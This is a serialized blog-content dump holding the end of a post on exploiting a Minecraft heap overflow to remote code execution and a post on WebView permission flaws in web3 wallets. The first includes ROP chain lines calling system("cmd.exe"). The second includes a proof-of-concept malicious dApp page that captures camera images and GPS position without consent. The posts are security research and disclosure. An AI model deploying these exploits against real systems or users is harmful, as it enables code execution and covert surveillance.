rcx\n",{"type":25,"tag":271,"props":168766,"children":168767},{"class":13593,"line":16832},[168768],{"type":25,"tag":271,"props":168769,"children":168770},{"style":13625},[168771],{"type":30,"value":168772},"rop.gadget(pop_rdx)\n",{"type":25,"tag":271,"props":168774,"children":168775},{"class":13593,"line":16841},[168776,168780,168784,168788,168792,168796,168800,168804],{"type":25,"tag":271,"props":168777,"children":168778},{"style":13625},[168779],{"type":30,"value":168612},{"type":25,"tag":271,"props":168781,"children":168782},{"style":14289},[168783],{"type":30,"value":168617},{"type":25,"tag":271,"props":168785,"children":168786},{"style":16187},[168787],{"type":30,"value":168622},{"type":25,"tag":271,"props":168789,"children":168790},{"style":13603},[168791],{"type":30,"value":22025},{"type":25,"tag":271,"props":168793,"children":168794},{"style":14289},[168795],{"type":30,"value":168557},{"type":25,"tag":271,"props":168797,"children":168798},{"style":16187},[168799],{"type":30,"value":102365},{"type":25,"tag":271,"props":168801,"children":168802},{"style":13625},[168803],{"type":30,"value":14406},{"type":25,"tag":271,"props":168805,"children":168806},{"style":14385},[168807],{"type":30,"value":168808},"# offset of \"system\" string\n",{"type":25,"tag":271,"props":168810,"children":168811},{"class":13593,"line":16907},[168812],{"type":25,"tag":271,"props":168813,"children":168814},{"style":13625},[168815],{"type":30,"value":168816},"rop.gadget(get_proc_addr)\n",{"type":25,"tag":271,"props":168818,"children":168819},{"class":13593,"line":16915},[168820],{"type":25,"tag":271,"props":168821,"children":168822},{"emptyLinePlaceholder":18},[168823],{"type":30,"value":16829},{"type":25,"tag":271,"props":168825,"children":168826},{"class":13593,"line":16945},[168827],{"type":25,"tag":271,"props":168828,"children":168829},{"style":14385},[168830],{"type":30,"value":168831},"# call `system(\"cmd.exe\")`\n",{"type":25,"tag":271,"props":168833,"children":168834},{"class":13593,"line":16953},[168835],{"type":25,"tag":271,"props":168836,"children":168837},{"style":13625},[168838],{"type":30,"value":168604},{"type":25,"tag":271,"props":168840,"children":168841},{"class":13593,"line":16984},[168842,168846,168850,168855,168859],{"type":25,"tag":271,"props":168843,"children":168844},{"style":13625},[168845],{"type":30,"value":168612},{"type":25,"tag":271,"props":168847,"children":168848},{"style":14289},[168849],{"type":30,"value":168617},{"type":25,"tag":271,"props":168851,"children":168852},{"style":16187},[168853],{"type":30,"value":168854},"7468DB8",{"type":25,"tag":271,"props":168856,"children":168857},{"style":13625},[168858],{"type":30,"value":14406},{"type":25,"tag":271,"props":168860,"children":168861},{"style":14385},[168862],{"type":30,"value":168863},"# offset of \"cmd.exe\" string\n",{"type":25,"tag":271,"props":168865,"children":168866},{"class":13593,"line":16992},[168867,168871],{"type":25,"tag":271,"props":168868,"children":168869},{"style":13625},[168870],{"type":30,"value":168639},{"type":25,"tag":271,"props":168872,"children":168873},{"style":14385},[168874],{"type":30,"value":168644},{"type":25,"tag":271,"props":168876,"children":168877},{"class":13593,"line":17052},[168878,168882],{"type":25,"tag":271,"props":168879,"children":168880},{"style":13625},[168881],{"type":30,"value":168652},{"type":25,"tag":271,"props":168883,"children":168884},{"style":14385},[168885],{"type":30,"value":168886},"# calls `system`\n",{"type":25,"tag":271,"props":168888,"children":168889},{"class":13593,"line":22168},[168890,168894,168898,168903,168908,168912],{"type":25,"tag":271,"props":168891,"children":168892},{"style":13625},[168893],{"type":30,"value":168665},{"type":25,"tag":271,"props":168895,"children":168896},{"style":14289},[168897],{"type":30,"value":2508},{"type":25,"tag":271,"props":168899,"children":168900},{"style":17388},[168901],{"type":30,"value":168902},"\"cmd.exe",{"type":25,"tag":271,"props":168904,"children":168905},{"style":61489},[168906],{"type":30,"value":168907},"\\x00",{"type":25,"tag":271,"props":168909,"children":168910},{"style":17388},[168911],{"type":30,"value":6294},{"type":25,"tag":271,"props":168913,"children":168914},{"style":13625},[168915],{"type":30,"value":32833},{"type":25,"tag":247,"props":168917,"children":168919},{"id":168918},"demo",[168920],{"type":30,"value":168921},"Demo",{"type":25,"tag":26,"props":168923,"children":168924},{},[168925],{"type":30,"value":168926},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":25,"tag":144298,"props":168928,"children":168931},{"className":168929,"controls":18},[154265,168930],"blog-video-wide",[168932,168933,168937],{"type":30,"value":154268},{"type":25,"tag":153504,"props":168934,"children":168936},{"src":168935,"type":144296},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":30,"value":154274},{"type":25,"tag":96,"props":168939,"children":168940},{"id":42044},[168941],{"type":30,"value":32068},{"type":25,"tag":26,"props":168943,"children":168944},{},[168945],{"type":30,"value":168946},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":25,"tag":26,"props":168948,"children":168949},{},[168950],{"type":30,"value":168951},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":25,"tag":26,"props":168953,"children":168954},{},[168955],{"type":30,"value":168956},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":25,"tag":15963,"props":168958,"children":168959},{},[168960],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":168962},[168963,168967,168972,168983],{"id":159623,"depth":11641,"text":159626,"children":168964},[168965,168966],{"id":159658,"depth":14354,"text":159661},{"id":159674,"depth":14354,"text":159677},{"id":159695,"depth":11641,"text":159698,"children":168968},[168969,168970,168971],{"id":159711,"depth":14354,"text":159714},{"id":159799,"depth":14354,"text":159802},{"id":162099,"depth":14354,"text":162102},{"id":18550,"depth":11641,"text":18553,"children":168973},[168974,168975,168976,168977,168978,168979,168980,168981,168982],{"id":162206,"depth":14354,"text":162209},{"id":162231,"depth":14354,"text":162234},{"id":162368,"depth":14354,"text":162371},{"id":164532,"depth":14354,"text":164535},{"id":164894,"depth":14354,"text":164897},{"id":165714,"depth":14354,"text":165717},{"id":167828,"depth":14354,"text":167831},{"id":168446,"depth":14354,"text":168449},{"id":168918,"depth":14354,"text":168921},{"id":42044,"depth":11641,"text":32068},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":168988,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":168989,"description":168990,"date":168991,"author":168992,"image":168994,"isFeatured":18,"onBlogPage":18,"tags":168996,"body":168998,"_type":16004,"_id":171321,"_source":16006,"_file":171322,"_stem":171323,"_extension":16009},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[44313,44312,168993],"nikolaos",{"src":168995,"width":16,"height":17},"/posts/insecure-webview-integrations/title.png",[45253,144404,168997],"webview",{"type":22,"children":168999,"toc":171308},[169000,169005,169010,169016,169021,169026,169031,169037,169042,169048,169070,169083,169103,169117,169123,169137,169145,169150,169156,169161,169170,169191,169335,169340,169346,169351,169356,169370,169374,169379,169397,170825,170829,170834,170846,170855,170860,170866,170888,170896,170901,170907,170912,170930,170935,170941,170954,171236,171264,171277,171282,171295,171299,171304],{"type":25,"tag":26,"props":169001,"children":169002},{},[169003],{"type":30,"value":169004},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":25,"tag":26,"props":169006,"children":169007},{},[169008],{"type":30,"value":169009},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":25,"tag":48484,"props":169011,"children":169013},{"id":169012},"exploiting-mobile-webviews",[169014],{"type":30,"value":169015},"Exploiting Mobile WebViews",{"type":25,"tag":26,"props":169017,"children":169018},{},[169019],{"type":30,"value":169020},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":25,"tag":26,"props":169022,"children":169023},{},[169024],{"type":30,"value":169025},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":25,"tag":26,"props":169027,"children":169028},{},[169029],{"type":30,"value":169030},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":25,"tag":96,"props":169032,"children":169034},{"id":169033},"handling-webview-permissions",[169035],{"type":30,"value":169036},"Handling WebView permissions",{"type":25,"tag":26,"props":169038,"children":169039},{},[169040],{"type":30,"value":169041},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":25,"tag":247,"props":169043,"children":169045},{"id":169044},"android",[169046],{"type":30,"value":169047},"Android",{"type":25,"tag":26,"props":169049,"children":169050},{},[169051,169053,169060,169062,169068],{"type":30,"value":169052},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":25,"tag":83,"props":169054,"children":169057},{"href":169055,"rel":169056},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[9066],[169058],{"type":30,"value":169059},"onPermissionRequest",{"type":30,"value":169061},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":25,"tag":264,"props":169063,"children":169065},{"className":169064},[],[169066],{"type":30,"value":169067},"PermissionRequest",{"type":30,"value":169069}," object where the WebView developers must decide whether to grant or deny it.",{"type":25,"tag":16074,"props":169071,"children":169072},{},[169073],{"type":25,"tag":26,"props":169074,"children":169075},{},[169076,169078,169081],{"type":30,"value":169077},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":25,"tag":271,"props":169079,"children":169080},{},[],{"type":30,"value":169082},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":25,"tag":26,"props":169084,"children":169085},{},[169086,169088,169094,169096,169102],{"type":30,"value":169087},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":25,"tag":264,"props":169089,"children":169091},{"className":169090},[],[169092],{"type":30,"value":169093},"getOrigin()",{"type":30,"value":169095}," and the requested permissions with ",{"type":25,"tag":264,"props":169097,"children":169099},{"className":169098},[],[169100],{"type":30,"value":169101},"getResources()",{"type":30,"value":1860},{"type":25,"tag":26,"props":169104,"children":169105},{},[169106,169108,169115],{"type":30,"value":169107},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":25,"tag":83,"props":169109,"children":169112},{"href":169110,"rel":169111},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[9066],[169113],{"type":30,"value":169114},"webview_shell",{"type":30,"value":169116},". In this instance, no origin checks are performed.",{"type":25,"tag":247,"props":169118,"children":169120},{"id":169119},"ios",[169121],{"type":30,"value":169122},"iOS",{"type":25,"tag":26,"props":169124,"children":169125},{},[169126,169128,169135],{"type":30,"value":169127},"On the contrary, iOS ",{"type":25,"tag":83,"props":169129,"children":169132},{"href":169130,"rel":169131},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[9066],[169133],{"type":30,"value":169134},"documentation",{"type":30,"value":169136}," states that:",{"type":25,"tag":16074,"props":169138,"children":169139},{},[169140],{"type":25,"tag":26,"props":169141,"children":169142},{},[169143],{"type":30,"value":169144},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":25,"tag":26,"props":169146,"children":169147},{},[169148],{"type":30,"value":169149},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":25,"tag":96,"props":169151,"children":169153},{"id":169152},"the-shortcomings-of-webview-implementations",[169154],{"type":30,"value":169155},"The shortcomings of WebView implementations",{"type":25,"tag":26,"props":169157,"children":169158},{},[169159],{"type":30,"value":169160},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":25,"tag":44458,"props":169162,"children":169163},{"style":44460},[169164],{"type":25,"tag":698,"props":169165,"children":169169},{"src":169166,"alt":169167,"style":169168},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":25,"tag":26,"props":169171,"children":169172},{},[169173,169175,169181,169183,169189],{"type":30,"value":169174},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":25,"tag":264,"props":169176,"children":169178},{"className":169177},[],[169179],{"type":30,"value":169180},"react-native-webview",{"type":30,"value":169182},". If we take a look at how they handle a request that reaches the ",{"type":25,"tag":83,"props":169184,"children":169187},{"href":169185,"rel":169186},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[9066],[169188],{"type":30,"value":169059},{"type":30,"value":169190}," method, we see a similar pattern.",{"type":25,"tag":7764,"props":169192,"children":169196},{"className":169193,"code":169194,"language":169195,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n    request.grant(grantedPermissions.toArray(new String[0]));\n    grantedPermissions = null;\n    return;\n}\n","java",[169197],{"type":25,"tag":264,"props":169198,"children":169199},{"__ignoreMap":7},[169200,169208,169237,169297,169317,169328],{"type":25,"tag":271,"props":169201,"children":169202},{"class":13593,"line":13594},[169203],{"type":25,"tag":271,"props":169204,"children":169205},{"style":14385},[169206],{"type":30,"value":169207},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":25,"tag":271,"props":169209,"children":169210},{"class":13593,"line":11641},[169211,169215,169219,169224,169228,169233],{"type":25,"tag":271,"props":169212,"children":169213},{"style":16171},[169214],{"type":30,"value":28701},{"type":25,"tag":271,"props":169216,"children":169217},{"style":13625},[169218],{"type":30,"value":16213},{"type":25,"tag":271,"props":169220,"children":169221},{"style":13598},[169222],{"type":30,"value":169223},"requestedAndroidPermissions",{"type":25,"tag":271,"props":169225,"children":169226},{"style":13625},[169227],{"type":30,"value":1860},{"type":25,"tag":271,"props":169229,"children":169230},{"style":13620},[169231],{"type":30,"value":169232},"isEmpty",{"type":25,"tag":271,"props":169234,"children":169235},{"style":13625},[169236],{"type":30,"value":105133},{"type":25,"tag":271,"props":169238,"children":169239},{"class":13593,"line":14354},[169240,169245,169249,169254,169258,169263,169267,169272,169276,169280,169285,169289,169293],{"type":25,"tag":271,"props":169241,"children":169242},{"style":13598},[169243],{"type":30,"value":169244},"    request",{"type":25,"tag":271,"props":169246,"children":169247},{"style":13625},[169248],{"type":30,"value":1860},{"type":25,"tag":271,"props":169250,"children":169251},{"style":13620},[169252],{"type":30,"value":169253},"grant",{"type":25,"tag":271,"props":169255,"children":169256},{"style":13625},[169257],{"type":30,"value":394},{"type":25,"tag":271,"props":169259,"children":169260},{"style":13598},[169261],{"type":30,"value":169262},"grantedPermissions",{"type":25,"tag":271,"props":169264,"children":169265},{"style":13625},[169266],{"type":30,"value":1860},{"type":25,"tag":271,"props":169268,"children":169269},{"style":13620},[169270],{"type":30,"value":169271},"toArray",{"type":25,"tag":271,"props":169273,"children":169274},{"style":13625},[169275],{"type":30,"value":394},{"type":25,"tag":271,"props":169277,"children":169278},{"style":16171},[169279],{"type":30,"value":28244},{"type":25,"tag":271,"props":169281,"children":169282},{"style":13609},[169283],{"type":30,"value":169284}," String",{"type":25,"tag":271,"props":169286,"children":169287},{"style":13625},[169288],{"type":30,"value":5604},{"type":25,"tag":271,"props":169290,"children":169291},{"style":16187},[169292],{"type":30,"value":953},{"type":25,"tag":271,"props":169294,"children":169295},{"style":13625},[169296],{"type":30,"value":116606},{"type":25,"tag":271,"props":169298,"children":169299},{"class":13593,"line":14391},[169300,169305,169309,169313],{"type":25,"tag":271,"props":169301,"children":169302},{"style":13625},[169303],{"type":30,"value":169304},"    grantedPermissions ",{"type":25,"tag":271,"props":169306,"children":169307},{"style":13603},[169308],{"type":30,"value":1065},{"type":25,"tag":271,"props":169310,"children":169311},{"style":14289},[169312],{"type":30,"value":83384},{"type":25,"tag":271,"props":169314,"children":169315},{"style":13625},[169316],{"type":30,"value":16165},{"type":25,"tag":271,"props":169318,"children":169319},{"class":13593,"line":14400},[169320,169324],{"type":25,"tag":271,"props":169321,"children":169322},{"style":16171},[169323],{"type":30,"value":30111},{"type":25,"tag":271,"props":169325,"children":169326},{"style":13625},[169327],{"type":30,"value":16165},{"type":25,"tag":271,"props":169329,"children":169330},{"class":13593,"line":16406},[169331],{"type":25,"tag":271,"props":169332,"children":169333},{"style":13625},[169334],{"type":30,"value":17058},{"type":25,"tag":26,"props":169336,"children":169337},{},[169338],{"type":30,"value":169339},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":25,"tag":247,"props":169341,"children":169343},{"id":169342},"real-world-exploitation",[169344],{"type":30,"value":169345},"Real world exploitation",{"type":25,"tag":26,"props":169347,"children":169348},{},[169349],{"type":30,"value":169350},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":25,"tag":26,"props":169352,"children":169353},{},[169354],{"type":30,"value":169355},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":25,"tag":26,"props":169357,"children":169358},{},[169359,169361,169368],{"type":30,"value":169360},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":25,"tag":83,"props":169362,"children":169365},{"href":169363,"rel":169364},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[9066],[169366],{"type":30,"value":169367},"Justson",{"type":30,"value":169369},", used by a popular wallet in the Stellar ecosystem.",{"type":25,"tag":2352,"props":169371,"children":169372},{"id":52615},[169373],{"type":30,"value":47940},{"type":25,"tag":26,"props":169375,"children":169376},{},[169377],{"type":30,"value":169378},"In order to exploit this issue, we assume the following preconditions:",{"type":25,"tag":661,"props":169380,"children":169381},{},[169382,169387,169392],{"type":25,"tag":112,"props":169383,"children":169384},{},[169385],{"type":30,"value":169386},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":25,"tag":112,"props":169388,"children":169389},{},[169390],{"type":30,"value":169391},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":25,"tag":112,"props":169393,"children":169394},{},[169395],{"type":30,"value":169396},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":25,"tag":7764,"props":169398,"children":169400},{"className":63137,"code":169399,"language":45495,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\">\n    \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n    \u003Ch2>Smile dApp :)\u003C/h2>\n    \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n    \u003Cpre id=\"gps\">\u003C/pre>\n    \u003Cimg id=\"pic\">\n    \u003Cscript>\n        window.addEventListener('unhandledrejection', function (event) {\n            alert(`Unhandled Promise Rejection: ${event.reason}`);\n        });\n        window.onerror = function (msg, url, line, col, error) {\n            alert('onerror: ' + msg);\n            return false;\n        };\n\n        async function main() {\n            const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n            const video = document.createElement(\"video\");\n            video.srcObject = stream;\n            const canvas = document.createElement(\"canvas\");\n\n            video.onloadedmetadata = () => {\n                canvas.width = video.videoWidth;\n                canvas.height = video.videoHeight;\n            };\n\n            connect.onclick = e => {\n                video.play();\n\n                canvas.getContext(\"2d\").drawImage(video, 0, 0);\n                stream.getTracks().forEach(t => t.stop());\n                canvas.toBlob((blob) => {\n                    pic.src = URL.createObjectURL(blob);\n                });\n\n                navigator.geolocation.getCurrentPosition(pos => {\n                    const c = pos.coords;\n                    gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n                }, err => alert(err));\n            };\n\n        }\n        main();\n    \u003C/script>\n\u003C/body>\n\u003C/html>\n",[169401],{"type":25,"tag":264,"props":169402,"children":169403},{"__ignoreMap":7},[169404,169424,169439,169455,169485,169508,169523,169538,169570,169616,169652,169680,169695,169741,169787,169795,169863,169891,169906,169914,169921,169941,170001,170042,170071,170112,170119,170148,170186,170223,170230,170237,170270,170291,170298,170360,170416,170452,170498,170506,170513,170556,170589,170714,170747,170754,170761,170768,170780,170795,170810],{"type":25,"tag":271,"props":169405,"children":169406},{"class":13593,"line":13594},[169407,169411,169415,169420],{"type":25,"tag":271,"props":169408,"children":169409},{"style":45488},[169410],{"type":30,"value":47337},{"type":25,"tag":271,"props":169412,"children":169413},{"style":14289},[169414],{"type":30,"value":47342},{"type":25,"tag":271,"props":169416,"children":169417},{"style":13598},[169418],{"type":30,"value":169419}," html",{"type":25,"tag":271,"props":169421,"children":169422},{"style":45488},[169423],{"type":30,"value":14448},{"type":25,"tag":271,"props":169425,"children":169426},{"class":13593,"line":11641},[169427,169431,169435],{"type":25,"tag":271,"props":169428,"children":169429},{"style":45488},[169430],{"type":30,"value":14307},{"type":25,"tag":271,"props":169432,"children":169433},{"style":14289},[169434],{"type":30,"value":45495},{"type":25,"tag":271,"props":169436,"children":169437},{"style":45488},[169438],{"type":30,"value":14448},{"type":25,"tag":271,"props":169440,"children":169441},{"class":13593,"line":14354},[169442,169446,169451],{"type":25,"tag":271,"props":169443,"children":169444},{"style":45488},[169445],{"type":30,"value":14307},{"type":25,"tag":271,"props":169447,"children":169448},{"style":14289},[169449],{"type":30,"value":169450},"head",{"type":25,"tag":271,"props":169452,"children":169453},{"style":45488},[169454],{"type":30,"value":14448},{"type":25,"tag":271,"props":169456,"children":169457},{"class":13593,"line":14391},[169458,169462,169467,169472,169476,169481],{"type":25,"tag":271,"props":169459,"children":169460},{"style":45488},[169461],{"type":30,"value":45558},{"type":25,"tag":271,"props":169463,"children":169464},{"style":14289},[169465],{"type":30,"value":169466},"meta",{"type":25,"tag":271,"props":169468,"children":169469},{"style":13598},[169470],{"type":30,"value":169471}," charset",{"type":25,"tag":271,"props":169473,"children":169474},{"style":13625},[169475],{"type":30,"value":1065},{"type":25,"tag":271,"props":169477,"children":169478},{"style":17388},[169479],{"type":30,"value":169480},"\"utf-8\"",{"type":25,"tag":271,"props":169482,"children":169483},{"style":45488},[169484],{"type":30,"value":14448},{"type":25,"tag":271,"props":169486,"children":169487},{"class":13593,"line":14400},[169488,169492,169496,169500,169504],{"type":25,"tag":271,"props":169489,"children":169490},{"style":45488},[169491],{"type":30,"value":45558},{"type":25,"tag":271,"props":169493,"children":169494},{"style":14289},[169495],{"type":30,"value":47414},{"type":25,"tag":271,"props":169497,"children":169498},{"style":45488},[169499],{"type":30,"value":63181},{"type":25,"tag":271,"props":169501,"children":169502},{"style":14289},[169503],{"type":30,"value":47414},{"type":25,"tag":271,"props":169505,"children":169506},{"style":45488},[169507],{"type":30,"value":14448},{"type":25,"tag":271,"props":169509,"children":169510},{"class":13593,"line":16406},[169511,169515,169519],{"type":25,"tag":271,"props":169512,"children":169513},{"style":45488},[169514],{"type":30,"value":45542},{"type":25,"tag":271,"props":169516,"children":169517},{"style":14289},[169518],{"type":30,"value":169450},{"type":25,"tag":271,"props":169520,"children":169521},{"style":45488},[169522],{"type":30,"value":14448},{"type":25,"tag":271,"props":169524,"children":169525},{"class":13593,"line":16434},[169526,169530,169534],{"type":25,"tag":271,"props":169527,"children":169528},{"style":45488},[169529],{"type":30,"value":14307},{"type":25,"tag":271,"props":169531,"children":169532},{"style":14289},[169533],{"type":30,"value":45512},{"type":25,"tag":271,"props":169535,"children":169536},{"style":45488},[169537],{"type":30,"value":14448},{"type":25,"tag":271,"props":169539,"children":169540},{"class":13593,"line":16447},[169541,169545,169549,169553,169558,169562,169566],{"type":25,"tag":271,"props":169542,"children":169543},{"style":45488},[169544],{"type":30,"value":45558},{"type":25,"tag":271,"props":169546,"children":169547},{"style":14289},[169548],{"type":30,"value":96},{"type":25,"tag":271,"props":169550,"children":169551},{"style":45488},[169552],{"type":30,"value":23586},{"type":25,"tag":271,"props":169554,"children":169555},{"style":13625},[169556],{"type":30,"value":169557},"Smile dApp :)",{"type":25,"tag":271,"props":169559,"children":169560},{"style":45488},[169561],{"type":30,"value":45542},{"type":25,"tag":271,"props":169563,"children":169564},{"style":14289},[169565],{"type":30,"value":96},{"type":25,"tag":271,"props":169567,"children":169568},{"style":45488},[169569],{"type":30,"value":14448},{"type":25,"tag":271,"props":169571,"children":169572},{"class":13593,"line":16465},[169573,169577,169582,169586,169590,169595,169599,169604,169608,169612],{"type":25,"tag":271,"props":169574,"children":169575},{"style":45488},[169576],{"type":30,"value":45558},{"type":25,"tag":271,"props":169578,"children":169579},{"style":14289},[169580],{"type":30,"value":169581},"button",{"type":25,"tag":271,"props":169583,"children":169584},{"style":13598},[169585],{"type":30,"value":45568},{"type":25,"tag":271,"props":169587,"children":169588},{"style":13625},[169589],{"type":30,"value":1065},{"type":25,"tag":271,"props":169591,"children":169592},{"style":17388},[169593],{"type":30,"value":169594},"\"connect\"",{"type":25,"tag":271,"props":169596,"children":169597},{"style":45488},[169598],{"type":30,"value":23586},{"type":25,"tag":271,"props":169600,"children":169601},{"style":13625},[169602],{"type":30,"value":169603},"Connect your wallet!",{"type":25,"tag":271,"props":169605,"children":169606},{"style":45488},[169607],{"type":30,"value":45542},{"type":25,"tag":271,"props":169609,"children":169610},{"style":14289},[169611],{"type":30,"value":169581},{"type":25,"tag":271,"props":169613,"children":169614},{"style":45488},[169615],{"type":30,"value":14448},{"type":25,"tag":271,"props":169617,"children":169618},{"class":13593,"line":16486},[169619,169623,169627,169631,169635,169640,169644,169648],{"type":25,"tag":271,"props":169620,"children":169621},{"style":45488},[169622],{"type":30,"value":45558},{"type":25,"tag":271,"props":169624,"children":169625},{"style":14289},[169626],{"type":30,"value":7764},{"type":25,"tag":271,"props":169628,"children":169629},{"style":13598},[169630],{"type":30,"value":45568},{"type":25,"tag":271,"props":169632,"children":169633},{"style":13625},[169634],{"type":30,"value":1065},{"type":25,"tag":271,"props":169636,"children":169637},{"style":17388},[169638],{"type":30,"value":169639},"\"gps\"",{"type":25,"tag":271,"props":169641,"children":169642},{"style":45488},[169643],{"type":30,"value":63181},{"type":25,"tag":271,"props":169645,"children":169646},{"style":14289},[169647],{"type":30,"value":7764},{"type":25,"tag":271,"props":169649,"children":169650},{"style":45488},[169651],{"type":30,"value":14448},{"type":25,"tag":271,"props":169653,"children":169654},{"class":13593,"line":16495},[169655,169659,169663,169667,169671,169676],{"type":25,"tag":271,"props":169656,"children":169657},{"style":45488},[169658],{"type":30,"value":45558},{"type":25,"tag":271,"props":169660,"children":169661},{"style":14289},[169662],{"type":30,"value":698},{"type":25,"tag":271,"props":169664,"children":169665},{"style":13598},[169666],{"type":30,"value":45568},{"type":25,"tag":271,"props":169668,"children":169669},{"style":13625},[169670],{"type":30,"value":1065},{"type":25,"tag":271,"props":169672,"children":169673},{"style":17388},[169674],{"type":30,"value":169675},"\"pic\"",{"type":25,"tag":271,"props":169677,"children":169678},{"style":45488},[169679],{"type":30,"value":14448},{"type":25,"tag":271,"props":169681,"children":169682},{"class":13593,"line":16744},[169683,169687,169691],{"type":25,"tag":271,"props":169684,"children":169685},{"style":45488},[169686],{"type":30,"value":45558},{"type":25,"tag":271,"props":169688,"children":169689},{"style":14289},[169690],{"type":30,"value":45528},{"type":25,"tag":271,"props":169692,"children":169693},{"style":45488},[169694],{"type":30,"value":14448},{"type":25,"tag":271,"props":169696,"children":169697},{"class":13593,"line":16761},[169698,169703,169707,169712,169716,169721,169725,169729,169733,169737],{"type":25,"tag":271,"props":169699,"children":169700},{"style":13598},[169701],{"type":30,"value":169702},"        window",{"type":25,"tag":271,"props":169704,"children":169705},{"style":13603},[169706],{"type":30,"value":1860},{"type":25,"tag":271,"props":169708,"children":169709},{"style":13620},[169710],{"type":30,"value":169711},"addEventListener",{"type":25,"tag":271,"props":169713,"children":169714},{"style":13603},[169715],{"type":30,"value":394},{"type":25,"tag":271,"props":169717,"children":169718},{"style":17388},[169719],{"type":30,"value":169720},"'unhandledrejection'",{"type":25,"tag":271,"props":169722,"children":169723},{"style":13603},[169724],{"type":30,"value":44},{"type":25,"tag":271,"props":169726,"children":169727},{"style":14289},[169728],{"type":30,"value":44489},{"type":25,"tag":271,"props":169730,"children":169731},{"style":13603},[169732],{"type":30,"value":16213},{"type":25,"tag":271,"props":169734,"children":169735},{"style":13598},[169736],{"type":30,"value":95241},{"type":25,"tag":271,"props":169738,"children":169739},{"style":13603},[169740],{"type":30,"value":27925},{"type":25,"tag":271,"props":169742,"children":169743},{"class":13593,"line":16778},[169744,169749,169753,169758,169762,169766,169770,169775,169779,169783],{"type":25,"tag":271,"props":169745,"children":169746},{"style":13620},[169747],{"typ